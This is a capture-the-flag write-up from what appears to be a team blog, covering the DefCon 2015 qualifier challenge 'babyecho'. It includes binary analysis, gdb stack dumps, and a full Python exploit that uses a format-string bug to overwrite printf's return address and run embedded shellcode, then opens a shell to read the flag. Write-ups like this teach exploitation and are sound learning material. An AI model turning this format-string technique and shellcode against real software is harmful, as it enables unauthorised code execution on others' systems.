GeeksSpeak Team Blog

WriteUps and random thoughts

DefConCTF 2015 Quals - Babyecho Writeup

| Comments

DefConCTF 2015 babycho Writeup
Point = 1
Category = Pwnable

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

1
2
3
4
5
$ file babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
babyecho_eb11fdf6e40236b1a37b7974c53b6c3d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
$ checksec.sh --file babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

First try got my attention:

1
2
3
4
5
$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
%p%p%p%p
0xd0xa(nil)0xd
Reading 13 bytes

There is format string vulnerability, and based on binary properties we should run our shellcode.

but there’s a limit, 13 bytes? right?

time to take a look at binary in IDA, the main function is sub_8048F3C. some resolving symbols the function looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int sub_8048F3C()
{
  signed int v0; // eax@2
  int v3; // [sp+10h] [bp-410h]@1
  int v4; // [sp+1Ch] [bp-404h]@4
  int v5; // [sp+41Ch] [bp-4h]@1

  v5 = *MK_FP(__GS__, 20);
  v3 = 13;
  setvbuf((int)off_80EA4C0, 0, 2, 0);
  signal(14, (int)sub_8048EB1);
  alarm(10);
  while ( 1 )
  {
    v0 = 1023;
    if ( v3 <= 1023 )
      v0 = v3;
    v3 = v0;
    printf("Reading %d bytes\n", v0);
    reado((int)&v4, v3, 10);
    filter_n((int)&v4);
    printf((const char *)&v4);
    alarm(10);
  }
}

the filter_n function just checks for %n and filters it as _n.

if i overwrite v0 i can send my shellcode and return to it.

i just need to know the offset, and gdb says it is 7:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Reading 13 bytes
%p%p%p%p
[-------------------------------------registers--------------------------------------]
EAX: 0xffffc86c ("%p%p%p%p")
EBX: 0x80481a8 (push   ebx)
ECX: 0x0 
EDX: 0xffffffff 
ESI: 0x0 
EDI: 0x80ea00c --> 0x80660a0 (mov    edx,DWORD PTR [esp+0x4])
EBP: 0xffffcc78 --> 0x80497d0 (push   ebx)
ESP: 0xffffc850 --> 0xffffc86c ("%p%p%p%p")
EIP: 0x804900f (call   0x804f560)
[----------------------------------------code----------------------------------------]
   0x8049003:   call   0x8048ecf
   0x8049008:   lea    eax,[esp+0x1c]
   0x804900c:   mov    DWORD PTR [esp],eax
=> 0x804900f:   call   0x804f560
   0x8049014:   mov    DWORD PTR [esp],0xa
   0x804901b:   call   0x804fde0
   0x8049020:   mov    DWORD PTR [esp],0x14
   0x8049027:   call   0x806cb50
Guessed arguments:
arg[0]: 0xffffc86c ("%p%p%p%p")
[---------------------------------------stack----------------------------------------]
00:0000| esp 0xffffc850 --> 0xffffc86c ("%p%p%p%p")
01:0004|     0xffffc854 --> 0xd (b'\r')
02:0008|     0xffffc858 --> 0xa (b'\n')
03:0012|     0xffffc85c --> 0x0 
04:0016|     0xffffc860 --> 0xd (b'\r')
05:0020|     0xffffc864 --> 0xffffc86c ("%p%p%p%p")
06:0024|     0xffffc868 --> 0x0 
07:0028| eax 0xffffc86c ("%p%p%p%p")
[------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 2, 0x0804900f in ?? ()

Obviously, first i should leak the stack address at offset 5, then overwrite the v0 so i send my shellcode, but the main part is how to break the loop. for this i just overwrite return address of printf and then jump to my shellcode.

TL;DR Please check my implementation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/python

import socket
import struct
import telnetlib

def readuntil(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        c = f.read(1)
        assert len(c) > 0
        data += c
    #print data
    return data

def p(v):
    return struct.pack('<I', v)

def u(v):
    return struct.unpack('<I', v)[0]


#s = socket.create_connection(("127.0.0.1", 1337))
s = socket.create_connection(("babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me", 3232))
f = s.makefile('rw', bufsize=0)

raw_input("$") # attach debugger


shellcode = (
"\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"
          "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"
                  "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"
        )

readuntil(f)
f.write("%p"*5+"\n")
loc =  int(readuntil(f)[:-1].split("0x")[-1], 16)  - 0x0c

readuntil(f)
f.write(p(loc)+"%30u%7$n\n")



readuntil(f)
f.write(p(loc)+"%1200u%7$n\n")

readuntil(f)

wrl = loc+100 & 0xffff
wrh = (loc+100 >> 16 ) & 0xffff

print hex(wrl), hex(wrh)

payload = p(loc-0x14)+"%0{i}c".format(i=wrl)+"%0007$hn"+"%0{i}c".format(i=(wrh-wrl-8))+p(loc-0x12)+"%0014$hn"+p(loc-0x12)+"A"*48+shellcode+"A"*(1024 - 48 - len(shellcode))+"\n"
print payload


f.write(payload)

print "[+] shell is ready: "
t = telnetlib.Telnet()
t.sock = s
t.interact()

there you go:

1
2
3
4
5
6
$ python babyecho-expl.py
0x4a24 0xffd2
�I��%018980c%0007$hn%046502c
[...]
cat /home/babyecho/flag 
The flag is: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%

@HAMIDx9

Comments